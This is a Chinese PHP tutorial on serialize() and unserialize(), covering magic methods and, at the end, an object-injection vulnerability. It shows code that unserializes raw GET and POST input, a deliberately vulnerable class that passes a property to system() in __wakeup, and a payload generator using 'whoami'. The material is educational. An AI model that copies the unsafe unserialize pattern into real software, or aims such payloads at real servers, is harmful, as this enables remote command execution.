[PHP知识库]PHP反序列化

所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量，但是不会保存对象的方法，只会保存类的名字。
为了能够unserialize()一个对象，这个对象的类必须已经定义过。如果序列化类A的一个对象，将会返回一个跟类A相关，而且包含了对象所有变量值的字符串。 如果要想在另外一个文件中解序列化一个对象，这个对象的类必须在解序列化之前定义，可以通过包含一个定义该类的文件或使用函数spl_autoload_register()来实现。

序列化

serialize序列化

<?php
class man{
    public $name;
    public $age;
    public function info(){
        echo $this->name . $this->age . 'years old';
    }
}
$jack=new man();
$jack->name='martin';
$jack->age=21;
$jack->info();
echo '<br>';
echo serialize($jack);

?>

o:对象名 3:长度
s：字符串 4:属性名长度

反序列化

unserialize反序列化

<?php
class man{
    public $name;
    public $age;
    public function info(){
        echo $this->name . $this->age . 'years old <br>';
    }
}
$o=unserialize($_GET['p']);
$o->info();
?>

post方法相同

常用魔术方法

__construct，构造函数，PHP 5 允行开发者在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法，所以非常适合在使用对象之前做一些初 始化工作。
__toString，打印一个对象时，如果定义了__toString()方法，就能在测试时，通过echo 打印对象体，对象就会自动调用它所属类定义的toString方法，格式化输出这个对象所包含 的数据。
__destruct，析构函数，PHP 5 引入了析构函数的概念，这类似于其它面向对象的语言， 如 C++。析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。
__sleep magic方法在一个对象被序列化的时候调用。
__wakeup magic方法在一个对象被反序列化的时候调用。

<?php

class People{
    public $name;
    public $age;
    public function __construct()
    {
        echo 'hello <br>';
    }
    public function __destruct()
    {
        echo "destruct ! <br>";
    }
    public function __sleep()
    {
        echo "sleep!<br>";
    }
    public function __wakeup()
    {
        echo "wakeup<br>";
    }
    public function __toString()
    {
        echo "tostring<br>";
        return "must have return<br>";
    }
}


$martin = new People();
$martin = unserialize('O:6:"People":2:{s:4:"name";i:18;s:3:"age";N;}');
echo $martin;

反序列化漏洞

目标上有这样一个文件

<?php

class flag{
    public $cmd;
    public function __wakeup()
    {
        system($this -> cmd);
    }
}

unserialize($_POST['p']);
highlight_file(__FILE__);

unserialize函数是可控的，本地写序列化文件得到的字符串去打远端

<?php
class flag{
    public $cmd;
    public function __wakeup()
    {
        system($this -> cmd);
    }
}
$flag=new flag();
$flag->cmd='whoami';
echo serialize($flag);